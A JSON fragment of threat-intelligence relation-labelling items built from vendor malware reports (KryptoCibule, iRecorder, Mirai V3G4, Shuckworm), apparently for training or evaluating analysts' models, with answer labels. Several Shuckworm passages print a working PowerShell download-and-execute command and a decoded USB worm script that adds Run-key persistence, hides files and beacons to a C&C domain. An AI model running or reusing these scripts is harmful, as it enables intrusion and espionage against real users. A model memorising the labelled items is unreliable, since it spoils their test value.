+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nKryptoCibule\n### Target Entity: KryptoCibule\n### Possible Relationship Labels:\n['variant-of', 'uses', 'downloads', 'drops', 'controls', 'is not related to', 'not sure']\n### Text Passage:\nSamples\nSHA-1  Filename  ESET detection name\n---------\n3BCEF852639F85803974943FC34EFF2D6D7D916D  armsvc.exe  MSIL/KryptoCibule.A\n352743EBE6A0638CC0614216AD000B6A43C4D46E  SystemArchitectureTranslation.exe  MSIL/KryptoCibule.A\n70480D5F4CB10DE42DD2C863DDF57102BE6FA9E0  Updater.exe  MSIL/KryptoCibule.A\n2E568CDF9B28824FBA1D7C16D8D0BE1D73A3FEBA  Setup.exe  MSIL/KryptoCibule.A\n",
+        "output": "<label>variant-of</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\narmsvc.exe\n### Target Entity: KryptoCibule\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nSamples\nSHA-1  Filename  ESET detection name\n---------\n3BCEF852639F85803974943FC34EFF2D6D7D916D  armsvc.exe  MSIL/KryptoCibule.A\n352743EBE6A0638CC0614216AD000B6A43C4D46E  SystemArchitectureTranslation.exe  MSIL/KryptoCibule.A\n70480D5F4CB10DE42DD2C863DDF57102BE6FA9E0  Updater.exe  MSIL/KryptoCibule.A\n2E568CDF9B28824FBA1D7C16D8D0BE1D73A3FEBA  Setup.exe  MSIL/KryptoCibule.A\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nUpdater.exe\n### Target Entity: KryptoCibule\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nSamples\nSHA-1  Filename  ESET detection name\n---------\n3BCEF852639F85803974943FC34EFF2D6D7D916D  armsvc.exe  MSIL/KryptoCibule.A\n352743EBE6A0638CC0614216AD000B6A43C4D46E  SystemArchitectureTranslation.exe  MSIL/KryptoCibule.A\n70480D5F4CB10DE42DD2C863DDF57102BE6FA9E0  Updater.exe  MSIL/KryptoCibule.A\n2E568CDF9B28824FBA1D7C16D8D0BE1D73A3FEBA  Setup.exe  MSIL/KryptoCibule.A\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nSystemArchitectureTranslation.exe\n### Target Entity: KryptoCibule\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nSamples\nSHA-1  Filename  ESET detection name\n---------\n3BCEF852639F85803974943FC34EFF2D6D7D916D  armsvc.exe  MSIL/KryptoCibule.A\n352743EBE6A0638CC0614216AD000B6A43C4D46E  SystemArchitectureTranslation.exe  MSIL/KryptoCibule.A\n70480D5F4CB10DE42DD2C863DDF57102BE6FA9E0  Updater.exe  MSIL/KryptoCibule.A\n2E568CDF9B28824FBA1D7C16D8D0BE1D73A3FEBA  Setup.exe  MSIL/KryptoCibule.A\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\niRecorder\n### Target Entity: C&C\n### Possible Relationship Labels:\n['beacons-to', 'exfiltrates-to', 'targets', 'uses', 'is not related to', 'not sure']\n### Text Passage:\nOverview of the app\nAside from providing legitimate screen recording functionality, the malicious iRecorder can record surrounding audio from the device\u2019s microphone and upload it to the attacker\u2019s command and control (C&C) server. It can also exfiltrate files with extensions representing saved web pages, images, audio, video, and document files, and file formats used for compressing multiple files, from the device. The app\u2019s specific malicious behavior \u2013 exfiltrating microphone recordings and stealing files with specific extensions \u2013 tends to suggest that it is part of an espionage campaign. However, we were not able to attribute the app to any particular malicious group.\nAs a Google App Defense Alliance partner, ESET identified the most recent version of the application as malicious and promptly shared its findings with Google. Following our alert, the app was removed from the store.\n",
+        "output": "<label>exfiltrates-to</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nV3G4\n### Target Entity: Mirai\n### Possible Relationship Labels:\n['variant-of', 'uses', 'downloads', 'drops', 'controls', 'is not related to', 'not sure']\n### Text Passage:\nMirai Variant V3G4 Targets IoT Devices\nAdvanced DNS Security Advanced Threat PreventionAdvanced URL FilteringAdvanced WildFireCloud-Delivered Security ServicesIoT SecurityNext-Generation Firewall\nContent Warning\nWe are providing a content warning because the following contains usage of a racial slur by a threat actor, which is not condoned in any instance by Unit 42. Unit 42 has partially redacted the racial slur to provide researchers with the ability to identify it and check IoCs as needed.\n",
+        "output": "<label>variant-of</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nfoto.safe\n### Target Entity: Shuckworm\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nTypical Attack Chain\nThe following describes a typical attack chain seen on a victim machine compromised by Shuckworm in this campaign.\nIn one attack, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious document.\nAfter the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers\u2019 C&C server:\n`\"CSIDL_SYSTEM\\cmd.exe\" /c start /min \"\" powershell -w hidden \"$gt='/get.'+char+char+char;$hosta=char;[system.net.servicepointmanager]::servercertificatevalidationcallback={$true};$hosta+='.vafikgo.';$hosta+=char;$hosta+=char;$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.addresslist[0];$client=(new-object net.webclient);$faddr='htt'+'ps://'+$addr+$gt;$text=$client.downloadstring($faddr);iex $text\"`\nMore recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.\nShuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the group\u2019s scripts observed per month between January and April 2023.\nNext, a VBS script, which was Shuckworm\u2019s Pterodo backdoor, was executed:\n* CSIDL_SYSTEM\\wscript.exe CSIDL_PROFILE\\appdata\\local\\temp\\deprive.wow //e:vbscript //b /kmc /fff /cfm /sc4model\nFollowing this, we saw what appeared to be multiple similar scripts being executed. The machine used for this activity appeared to contain multiple confidential documents related to Ukrainian security services or government departments.\nOn a different machine, we saw malicious activity that appeared to be executed from a file (foto.safe) that had been dropped by an infected USB key that someone had plugged into the system. Symantec observed multiple file paths present on infected machines that indicate users had plugged in an infected USB key e.g. \"usb-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c\" translates as \"usb-drive\".\nThe foto.safe file is a Base64-encoded script.\nDecoded it looks like the following:\n_fUNCtIon sET-lnK ($chILd) {_\n_$nAMetxt = \"foto.sAfe\".TolowER();_\n_$NAmE = (\"\u043a\u041e\u041c\u041f\u0420\u041e\u041c\u0430\u0442\", \"\u041a\u041e\u0420\u0417\u0438\u041d\u0410\", \"\u0421\u0435\u041a\u0420\u0435\u0442\u043d\u041e\"  GeT-rAnDOm).ToUPPeR();_\n_$WSHSHELl = NEw-obJeCT -CoMObjeCT WSCriPT.shELL;_\n_$sHORTcut = $wShShEll.CREatesHoRTCUt($cHild +\"\\$nAMe.LNK\");_\n_$shoRtCuT.iConloCaTiON = \"C:\\wiNDoWS\\SysteM32\\SHELL32.DLL,3\";_\n_$SHOrTcUT.TArGetpAth = \"c:\\wInDOwS\\sYstEm32\\WInDOwSpowERshell\\V1.0\\POwERShEll.ExE\".ToLoweR();_\n_$text = \"-wInDoWsTYlE hidDeN -nolOgo Iex (IeX (GeT-cOnTent .\\$NAMetxt  OUT-STrIng))\".TOlower();_\n_$sHORTCUT.ArGUMEnTs = $tExt;_\n_$sHortCUT.saVE();_\n_$mYfIlE= $chIlD+\"\\$naMeTXT\"_\n_cOPY-Item $enV:UsErprOfilE\\iNdEx.phP -deSTINAtION $mYfILE_\n_$FIlE=GEt-ITEM $mYfiLE -forCe_\n_$FiLe.ATtRiButes='hiDDEN'_\n__\n_}_\n_Set-ITemPRoPERTY -pAth HkCU:\\soFTWare\\MicROsOfT\\WiNDows\\cURRENtVerSiON\\ruN -NAME safE -valUE $env:windir'\\sYSTeM32\\wINDoWSPowErSHEll\\v1.0\\pOwERShell.eXE -WIndowSTYlE hiddEN -noLOgO inVOkE-ExpREsSIOn (get-contEnT $eNV:usERPRoFILe\\INdEX.PHp  Out-sTRing)  poweRSHeLL -noPROfILE';_\n_coPy-item .\\\"fOtO.safe\" -dEsTInaTioN $Env:USeRprOFIle\\iNdEX.pHp_\n_WHile($CoUNT -lE 2){_\n_$urLs = 'hTTP://'+ [SYSTEM.NEt.DnS]::geThostadDREsSes([String]$(GEt-random)+'.cOriDAS.Ru') +'/slEEP.Php';_\n_iEX $(New-ObJeCt Net.WEBClient).uPloAdStRING($uRls.ToloWER(),'')_\n_$drIVE = GeT-wmIoBJeCt WIN32_VOluME -fILTer \"drIvETYPe='2'\";_\n_$Drive.naMe  FOreaCH-oBJecT{_\n_$CHiLdS = GET-ChilDITem $drivE.nAMe_\n_foReach($cHilDs IN $chiLDs)_\n_{_\n_if( [SYsTEM.io.fiLE]::GetAttributES($ChilDS.FuLlnAMe) -eq [SYsTEM.Io.fILeaTTrIbuTES]::DIRecToRy )_\n_{_\n_sET-lnk $chILds.fUlLName_\n_}}_\n_IF(($dRIVe.CapaCITY - $DriVe.fREeSPACE) -Gt 1000000){_\n_SEt-lNK $DRivE.name_\n_}}_\n_STArt-SLEeP -S 300;_\n_}_\nThis PowerShell script is used to copy itself onto the infected machine and then create a shortcut file that links to the PowerShell script. Symantec has identified multiple variants of this script that can be used to indicate successful infection, or to download additional tools onto infected machines.\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\ndeprive.wow\n### Target Entity: Pterodo\n### Possible Relationship Labels:\n['indicates', 'is not related to', 'not sure']\n### Text Passage:\nTypical Attack Chain\nThe following describes a typical attack chain seen on a victim machine compromised by Shuckworm in this campaign.\nIn one attack, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious document.\nAfter the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers\u2019 C&C server:\n`\"CSIDL_SYSTEM\\cmd.exe\" /c start /min \"\" powershell -w hidden \"$gt='/get.'+char+char+char;$hosta=char;[system.net.servicepointmanager]::servercertificatevalidationcallback={$true};$hosta+='.vafikgo.';$hosta+=char;$hosta+=char;$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.addresslist[0];$client=(new-object net.webclient);$faddr='htt'+'ps://'+$addr+$gt;$text=$client.downloadstring($faddr);iex $text\"`\nMore recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.\nShuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the group\u2019s scripts observed per month between January and April 2023.\nNext, a VBS script, which was Shuckworm\u2019s Pterodo backdoor, was executed:\n* CSIDL_SYSTEM\\wscript.exe CSIDL_PROFILE\\appdata\\local\\temp\\deprive.wow //e:vbscript //b /kmc /fff /cfm /sc4model\nFollowing this, we saw what appeared to be multiple similar scripts being executed. The machine used for this activity appeared to contain multiple confidential documents related to Ukrainian security services or government departments.\nOn a different machine, we saw malicious activity that appeared to be executed from a file (foto.safe) that had been dropped by an infected USB key that someone had plugged into the system. Symantec observed multiple file paths present on infected machines that indicate users had plugged in an infected USB key e.g. \"usb-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c\" translates as \"usb-drive\".\nThe foto.safe file is a Base64-encoded script.\nDecoded it looks like the following:\n_fUNCtIon sET-lnK ($chILd) {_\n_$nAMetxt = \"foto.sAfe\".TolowER();_\n_$NAmE = (\"\u043a\u041e\u041c\u041f\u0420\u041e\u041c\u0430\u0442\", \"\u041a\u041e\u0420\u0417\u0438\u041d\u0410\", \"\u0421\u0435\u041a\u0420\u0435\u0442\u043d\u041e\"  GeT-rAnDOm).ToUPPeR();_\n_$WSHSHELl = NEw-obJeCT -CoMObjeCT WSCriPT.shELL;_\n_$sHORTcut = $wShShEll.CREatesHoRTCUt($cHild +\"\\$nAMe.LNK\");_\n_$shoRtCuT.iConloCaTiON = \"C:\\wiNDoWS\\SysteM32\\SHELL32.DLL,3\";_\n_$SHOrTcUT.TArGetpAth = \"c:\\wInDOwS\\sYstEm32\\WInDOwSpowERshell\\V1.0\\POwERShEll.ExE\".ToLoweR();_\n_$text = \"-wInDoWsTYlE hidDeN -nolOgo Iex (IeX (GeT-cOnTent .\\$NAMetxt  OUT-STrIng))\".TOlower();_\n_$sHORTCUT.ArGUMEnTs = $tExt;_\n_$sHortCUT.saVE();_\n_$mYfIlE= $chIlD+\"\\$naMeTXT\"_\n_cOPY-Item $enV:UsErprOfilE\\iNdEx.phP -deSTINAtION $mYfILE_\n_$FIlE=GEt-ITEM $mYfiLE -forCe_\n_$FiLe.ATtRiButes='hiDDEN'_\n__\n_}_\n_Set-ITemPRoPERTY -pAth HkCU:\\soFTWare\\MicROsOfT\\WiNDows\\cURRENtVerSiON\\ruN -NAME safE -valUE $env:windir'\\sYSTeM32\\wINDoWSPowErSHEll\\v1.0\\pOwERShell.eXE -WIndowSTYlE hiddEN -noLOgO inVOkE-ExpREsSIOn (get-contEnT $eNV:usERPRoFILe\\INdEX.PHp  Out-sTRing)  poweRSHeLL -noPROfILE';_\n_coPy-item .\\\"fOtO.safe\" -dEsTInaTioN $Env:USeRprOFIle\\iNdEX.pHp_\n_WHile($CoUNT -lE 2){_\n_$urLs = 'hTTP://'+ [SYSTEM.NEt.DnS]::geThostadDREsSes([String]$(GEt-random)+'.cOriDAS.Ru') +'/slEEP.Php';_\n_iEX $(New-ObJeCt Net.WEBClient).uPloAdStRING($uRls.ToloWER(),'')_\n_$drIVE = GeT-wmIoBJeCt WIN32_VOluME -fILTer \"drIvETYPe='2'\";_\n_$Drive.naMe  FOreaCH-oBJecT{_\n_$CHiLdS = GET-ChilDITem $drivE.nAMe_\n_foReach($cHilDs IN $chiLDs)_\n_{_\n_if( [SYsTEM.io.fiLE]::GetAttributES($ChilDS.FuLlnAMe) -eq [SYsTEM.Io.fILeaTTrIbuTES]::DIRecToRy )_\n_{_\n_sET-lnk $chILds.fUlLName_\n_}}_\n_IF(($dRIVe.CapaCITY - $DriVe.fREeSPACE) -Gt 1000000){_\n_SEt-lNK $DRivE.name_\n_}}_\n_STArt-SLEeP -S 300;_\n_}_\nThis PowerShell script is used to copy itself onto the infected machine and then create a shortcut file that links to the PowerShell script. Symantec has identified multiple variants of this script that can be used to indicate successful infection, or to download additional tools onto infected machines.\n",
+        "output": "<label>indicates</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nShuckworm\n### Target Entity: PowerShell\n### Possible Relationship Labels:\n['uses', 'is not related to', 'not sure']\n### Text Passage:\nTypical Attack Chain\nThe following describes a typical attack chain seen on a victim machine compromised by Shuckworm in this campaign.\nIn one attack, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious document.\nAfter the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers\u2019 C&C server:\n`\"CSIDL_SYSTEM\\cmd.exe\" /c start /min \"\" powershell -w hidden \"$gt='/get.'+char+char+char;$hosta=char;[system.net.servicepointmanager]::servercertificatevalidationcallback={$true};$hosta+='.vafikgo.';$hosta+=char;$hosta+=char;$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.addresslist[0];$client=(new-object net.webclient);$faddr='htt'+'ps://'+$addr+$gt;$text=$client.downloadstring($faddr);iex $text\"`\nMore recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.\nShuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the group\u2019s scripts observed per month between January and April 2023.\nNext, a VBS script, which was Shuckworm\u2019s Pterodo backdoor, was executed:\n* CSIDL_SYSTEM\\wscript.exe CSIDL_PROFILE\\appdata\\local\\temp\\deprive.wow //e:vbscript //b /kmc /fff /cfm /sc4model\nFollowing this, we saw what appeared to be multiple similar scripts being executed. The machine used for this activity appeared to contain multiple confidential documents related to Ukrainian security services or government departments.\nOn a different machine, we saw malicious activity that appeared to be executed from a file (foto.safe) that had been dropped by an infected USB key that someone had plugged into the system. Symantec observed multiple file paths present on infected machines that indicate users had plugged in an infected USB key e.g. \"usb-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c\" translates as \"usb-drive\".\nThe foto.safe file is a Base64-encoded script.\nDecoded it looks like the following:\n_fUNCtIon sET-lnK ($chILd) {_\n_$nAMetxt = \"foto.sAfe\".TolowER();_\n_$NAmE = (\"\u043a\u041e\u041c\u041f\u0420\u041e\u041c\u0430\u0442\", \"\u041a\u041e\u0420\u0417\u0438\u041d\u0410\", \"\u0421\u0435\u041a\u0420\u0435\u0442\u043d\u041e\"  GeT-rAnDOm).ToUPPeR();_\n_$WSHSHELl = NEw-obJeCT -CoMObjeCT WSCriPT.shELL;_\n_$sHORTcut = $wShShEll.CREatesHoRTCUt($cHild +\"\\$nAMe.LNK\");_\n_$shoRtCuT.iConloCaTiON = \"C:\\wiNDoWS\\SysteM32\\SHELL32.DLL,3\";_\n_$SHOrTcUT.TArGetpAth = \"c:\\wInDOwS\\sYstEm32\\WInDOwSpowERshell\\V1.0\\POwERShEll.ExE\".ToLoweR();_\n_$text = \"-wInDoWsTYlE hidDeN -nolOgo Iex (IeX (GeT-cOnTent .\\$NAMetxt  OUT-STrIng))\".TOlower();_\n_$sHORTCUT.ArGUMEnTs = $tExt;_\n_$sHortCUT.saVE();_\n_$mYfIlE= $chIlD+\"\\$naMeTXT\"_\n_cOPY-Item $enV:UsErprOfilE\\iNdEx.phP -deSTINAtION $mYfILE_\n_$FIlE=GEt-ITEM $mYfiLE -forCe_\n_$FiLe.ATtRiButes='hiDDEN'_\n__\n_}_\n_Set-ITemPRoPERTY -pAth HkCU:\\soFTWare\\MicROsOfT\\WiNDows\\cURRENtVerSiON\\ruN -NAME safE -valUE $env:windir'\\sYSTeM32\\wINDoWSPowErSHEll\\v1.0\\pOwERShell.eXE -WIndowSTYlE hiddEN -noLOgO inVOkE-ExpREsSIOn (get-contEnT $eNV:usERPRoFILe\\INdEX.PHp  Out-sTRing)  poweRSHeLL -noPROfILE';_\n_coPy-item .\\\"fOtO.safe\" -dEsTInaTioN $Env:USeRprOFIle\\iNdEX.pHp_\n_WHile($CoUNT -lE 2){_\n_$urLs = 'hTTP://'+ [SYSTEM.NEt.DnS]::geThostadDREsSes([String]$(GEt-random)+'.cOriDAS.Ru') +'/slEEP.Php';_\n_iEX $(New-ObJeCt Net.WEBClient).uPloAdStRING($uRls.ToloWER(),'')_\n_$drIVE = GeT-wmIoBJeCt WIN32_VOluME -fILTer \"drIvETYPe='2'\";_\n_$Drive.naMe  FOreaCH-oBJecT{_\n_$CHiLdS = GET-ChilDITem $drivE.nAMe_\n_foReach($cHilDs IN $chiLDs)_\n_{_\n_if( [SYsTEM.io.fiLE]::GetAttributES($ChilDS.FuLlnAMe) -eq [SYsTEM.Io.fILeaTTrIbuTES]::DIRecToRy )_\n_{_\n_sET-lnk $chILds.fUlLName_\n_}}_\n_IF(($dRIVe.CapaCITY - $DriVe.fREeSPACE) -Gt 1000000){_\n_SEt-lNK $DRivE.name_\n_}}_\n_STArt-SLEeP -S 300;_\n_}_\nThis PowerShell script is used to copy itself onto the infected machine and then create a shortcut file that links to the PowerShell script. Symantec has identified multiple variants of this script that can be used to indicate successful infection, or to download additional tools onto infected machines.\n",
+        "output": "<label>uses</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nPterodo\n### Target Entity: Shuckworm\n### Possible Relationship Labels:\n['authored-by', 'is not related to', 'not sure']\n### Text Passage:\nTypical Attack Chain\nThe following describes a typical attack chain seen on a victim machine compromised by Shuckworm in this campaign.\nIn one attack, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious document.\nAfter the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers\u2019 C&C server:\n`\"CSIDL_SYSTEM\\cmd.exe\" /c start /min \"\" powershell -w hidden \"$gt='/get.'+char+char+char;$hosta=char;[system.net.servicepointmanager]::servercertificatevalidationcallback={$true};$hosta+='.vafikgo.';$hosta+=char;$hosta+=char;$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.addresslist[0];$client=(new-object net.webclient);$faddr='htt'+'ps://'+$addr+$gt;$text=$client.downloadstring($faddr);iex $text\"`\nMore recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.\nShuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the group\u2019s scripts observed per month between January and April 2023.\nNext, a VBS script, which was Shuckworm\u2019s Pterodo backdoor, was executed:\n* CSIDL_SYSTEM\\wscript.exe CSIDL_PROFILE\\appdata\\local\\temp\\deprive.wow //e:vbscript //b /kmc /fff /cfm /sc4model\nFollowing this, we saw what appeared to be multiple similar scripts being executed. The machine used for this activity appeared to contain multiple confidential documents related to Ukrainian security services or government departments.\nOn a different machine, we saw malicious activity that appeared to be executed from a file (foto.safe) that had been dropped by an infected USB key that someone had plugged into the system. Symantec observed multiple file paths present on infected machines that indicate users had plugged in an infected USB key e.g. \"usb-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c\" translates as \"usb-drive\".\nThe foto.safe file is a Base64-encoded script.\nDecoded it looks like the following:\n_fUNCtIon sET-lnK ($chILd) {_\n_$nAMetxt = \"foto.sAfe\".TolowER();_\n_$NAmE = (\"\u043a\u041e\u041c\u041f\u0420\u041e\u041c\u0430\u0442\", \"\u041a\u041e\u0420\u0417\u0438\u041d\u0410\", \"\u0421\u0435\u041a\u0420\u0435\u0442\u043d\u041e\"  GeT-rAnDOm).ToUPPeR();_\n_$WSHSHELl = NEw-obJeCT -CoMObjeCT WSCriPT.shELL;_\n_$sHORTcut = $wShShEll.CREatesHoRTCUt($cHild +\"\\$nAMe.LNK\");_\n_$shoRtCuT.iConloCaTiON = \"C:\\wiNDoWS\\SysteM32\\SHELL32.DLL,3\";_\n_$SHOrTcUT.TArGetpAth = \"c:\\wInDOwS\\sYstEm32\\WInDOwSpowERshell\\V1.0\\POwERShEll.ExE\".ToLoweR();_\n_$text = \"-wInDoWsTYlE hidDeN -nolOgo Iex (IeX (GeT-cOnTent .\\$NAMetxt  OUT-STrIng))\".TOlower();_\n_$sHORTCUT.ArGUMEnTs = $tExt;_\n_$sHortCUT.saVE();_\n_$mYfIlE= $chIlD+\"\\$naMeTXT\"_\n_cOPY-Item $enV:UsErprOfilE\\iNdEx.phP -deSTINAtION $mYfILE_\n_$FIlE=GEt-ITEM $mYfiLE -forCe_\n_$FiLe.ATtRiButes='hiDDEN'_\n__\n_}_\n_Set-ITemPRoPERTY -pAth HkCU:\\soFTWare\\MicROsOfT\\WiNDows\\cURRENtVerSiON\\ruN -NAME safE -valUE $env:windir'\\sYSTeM32\\wINDoWSPowErSHEll\\v1.0\\pOwERShell.eXE -WIndowSTYlE hiddEN -noLOgO inVOkE-ExpREsSIOn (get-contEnT $eNV:usERPRoFILe\\INdEX.PHp  Out-sTRing)  poweRSHeLL -noPROfILE';_\n_coPy-item .\\\"fOtO.safe\" -dEsTInaTioN $Env:USeRprOFIle\\iNdEX.pHp_\n_WHile($CoUNT -lE 2){_\n_$urLs = 'hTTP://'+ [SYSTEM.NEt.DnS]::geThostadDREsSes([String]$(GEt-random)+'.cOriDAS.Ru') +'/slEEP.Php';_\n_iEX $(New-ObJeCt Net.WEBClient).uPloAdStRING($uRls.ToloWER(),'')_\n_$drIVE = GeT-wmIoBJeCt WIN32_VOluME -fILTer \"drIvETYPe='2'\";_\n_$Drive.naMe  FOreaCH-oBJecT{_\n_$CHiLdS = GET-ChilDITem $drivE.nAMe_\n_foReach($cHilDs IN $chiLDs)_\n_{_\n_if( [SYsTEM.io.fiLE]::GetAttributES($ChilDS.FuLlnAMe) -eq [SYsTEM.Io.fILeaTTrIbuTES]::DIRecToRy )_\n_{_\n_sET-lnk $chILds.fUlLName_\n_}}_\n_IF(($dRIVe.CapaCITY - $DriVe.fREeSPACE) -Gt 1000000){_\n_SEt-lNK $DRivE.name_\n_}}_\n_STArt-SLEeP -S 300;_\n_}_\nThis PowerShell script is used to copy itself onto the infected machine and then create a shortcut file that links to the PowerShell script. Symantec has identified multiple variants of this script that can be used to indicate successful infection, or to download additional tools onto infected machines.\n",
+        "output": "<label>authored-by</label>"
+    },
+    {
+        "instruction": "You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.\nAnswer in the following format: <label>Your chosen label</label>",
+        "input": "### Source Entity:\nShuckworm\n### Target Entity: C&C\n### Possible Relationship Labels:\n['uses', 'hosts', 'owns', 'compromises', 'is not related to', 'not sure']\n### Text Passage:\nTypical Attack Chain\nThe following describes a typical attack chain seen on a victim machine compromised by Shuckworm in this campaign.\nIn one attack, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious document.\nAfter the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers\u2019 C&C server:\n`\"CSIDL_SYSTEM\\cmd.exe\" /c start /min \"\" powershell -w hidden \"$gt='/get.'+char+char+char;$hosta=char;[system.net.servicepointmanager]::servercertificatevalidationcallback={$true};$hosta+='.vafikgo.';$hosta+=char;$hosta+=char;$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.addresslist[0];$client=(new-object net.webclient);$faddr='htt'+'ps://'+$addr+$gt;$text=$client.downloadstring($faddr);iex $text\"`\nMore recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.\nShuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the group\u2019s scripts observed per month between January and April 2023.\nNext, a VBS script, which was Shuckworm\u2019s Pterodo backdoor, was executed:\n* CSIDL_SYSTEM\\wscript.exe CSIDL_PROFILE\\appdata\\local\\temp\\deprive.wow //e:vbscript //b /kmc /fff /cfm /sc4model\nFollowing this, we saw what appeared to be multiple similar scripts being executed. The machine used for this activity appeared to contain multiple confidential documents related to Ukrainian security services or government departments.\nOn a different machine, we saw malicious activity that appeared to be executed from a file (foto.safe) that had been dropped by an infected USB key that someone had plugged into the system. Symantec observed multiple file paths present on infected machines that indicate users had plugged in an infected USB key e.g. \"usb-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c\" translates as \"usb-drive\".\nThe foto.safe file is a Base64-encoded script.\nDecoded it looks like the following:\n_fUNCtIon sET-lnK ($chILd) {_\n_$nAMetxt = \"foto.sAfe\".TolowER();_\n_$NAmE = (\"\u043a\u041e\u041c\u041f\u0420\u041e\u041c\u0430\u0442\", \"\u041a\u041e\u0420\u0417\u0438\u041d\u0410\", \"\u0421\u0435\u041a\u0420\u0435\u0442\u043d\u041e\"  GeT-rAnDOm).ToUPPeR();_\n_$WSHSHELl = NEw-obJeCT -CoMObjeCT WSCriPT.shELL;_\n_$sHORTcut = $wShShEll.CREatesHoRTCUt($cHild +\"\\$nAMe.LNK\");_\n_$shoRtCuT.iConloCaTiON = \"C:\\wiNDoWS\\SysteM32\\SHELL32.DLL,3\";_\n_$SHOrTcUT.TArGetpAth = \"c:\\wInDOwS\\sYstEm32\\WInDOwSpowERshell\\V1.0\\POwERShEll.ExE\".ToLoweR();_\n_$text = \"-wInDoWsTYlE hidDeN -nolOgo Iex (IeX (GeT-cOnTent .\\$NAMetxt  OUT-STrIng))\".TOlower();_\n_$sHORTCUT.ArGUMEnTs = 